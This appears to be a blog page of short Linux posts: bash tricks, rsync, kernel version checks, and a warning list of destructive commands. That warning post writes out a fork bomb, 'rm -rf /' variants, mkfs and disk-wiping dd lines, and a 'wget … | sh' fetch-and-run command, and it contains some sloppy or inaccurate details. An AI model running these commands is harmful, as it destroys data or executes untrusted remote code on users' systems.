Friday, December 5, 2014

Amazing bash tricks

1. Renaming/moving files with suffixes quickly:
cp /home/foo/realllylongname.cpp{,-old}
This expands to:
cp /home/foo/realllylongname.cpp /home/foo/realllylongname.cpp-old

2) Another favorite:

!!
Repeats your last command. Most useful in the form:

sudo !!

3) '^string^string2' which takes the last command, replaces string with string2 and executes it

$ ehco foo bar baz
bash: ehco: command not found
$ ^ehco^echo
foo bar baz

4)rename

Example:

$ ls
this_has_text_to_find_1.txt
this_has_text_to_find_2.txt
this_has_text_to_find_3.txt
this_has_text_to_find_4.txt

$ rename 's/text_to_find/been_renamed/' *.txt
$ ls
this_has_been_renamed_1.txt
this_has_been_renamed_2.txt
this_has_been_renamed_3.txt
this_has_been_renamed_4.txt
So useful


5)When running commands, sometimes I'll want to run a command with the previous ones arguments. To do that, you can use this shortcut:

$ mkdir /tmp/new
$ cd !!:*

6)How to list only subdirectories in the current one ?

ls -d */
It's a simple trick, but you wouldn't know how much time I needed to find that one !

7)ESC.

Inserts the last arguments from your last bash command. It comes in handy more than you think.

cp file /to/some/long/path
cd ESC.

8)Top 10 commands used:
$ history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -nr | head

9)I often have aliases for vi, ls, etc. but sometimes you want to escape the alias. Just add a back slash to the command in front:

9) To escape the alias
$ alias vi=vim
$ \vi # This doesn't open VIM


Friday, October 31, 2014

Beware of these powerful and destructive Linux Commands

1. Linux Fork Bomb Command

:(){ :|: & };: is also referred to as Fork Bomb is actually a  denial-of-service(DOS) attack on a Linux box. It is actually a bash function. Once executed, it spawns itself multiple times leading to system hang/freeze.
One can get rid of it by restarting the system. 

2. Mv Folder/Dev/Null

mv folder/dev/null 
 Dev/null or null device  often referred to as bit bucked or black hole is a device file that discards all the data written on it but it reports that the writing operation is executed successfully.

3. Rm -Rf Command

rm -rf command is a speedy way of deleting a folder and its content . Listed below are the most common options one could use with "rm"
  • rm command is used to delete the files in Linux system.
  • rm -f command removes read-only files in folder without prompting.
  • rm -r command deletes the content of a folder recursively.
  • rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
  • rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
  • rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
  • rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
  • rm -i command is used for removal of files and folders but a prompt will appear before removal.

4. Mkfs Command

Anything written after the mkfs will be formatted and replaced by a blank Linux file system.
Commands mentioned below will format the hard drive  provided you have root privileges:
  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos
  • mkfs.reiserfs
  • mkfs.vfat
  • The command mkfs.cramfs will do the same thing as the above but it does not require root permissions.

    5. Tar Bomb

    The tar command is used for compressiing multiple files into a single archive file in .tar/.tgz format. A Tape Archive (Tar) bomb can be created with this command.
    It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.
    You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.
    If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.

    6. Dd Command

    The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.
    The command may be any one of these:
    • dd if=/dev/hda of=/dev/hdb
    • dd if=/dev/hda of=/dev/sdb
    • dd if=something of=/dev/hda
    • dd if=something of=/dev/sda                                     The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had
  • 7. Shell Script Code

    Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

    8. Malicious Source Code

    Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source codeand it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

    9. Decompression Bomb

    You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.
    Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.

Wednesday, October 29, 2014

How to use rsync

Using rsync

rsync -avz --exclude=/mnt/junk --exclude=/mnt/log user1@10.10.10.11:/mnt ~/Backup_Git_server

Friday, May 16, 2014

Determine built kernel(vmlinux/vmlinuz) version

Problem statement:

How do you determine the built kernel version ? Once you have built kernel from source , how would you determine the built kernel version ?

Fix :

Once you have built (make) kernel from source tree, you may want to determine the built kernel version but not install it. How do you do that ? The built kernel is "vmlinux" or "vmlinuz"  but how do you extract the kernel version out of it.

Try this :

# strings vmlinux | grep "Linux version"
Linux version 3.15.0-rc5+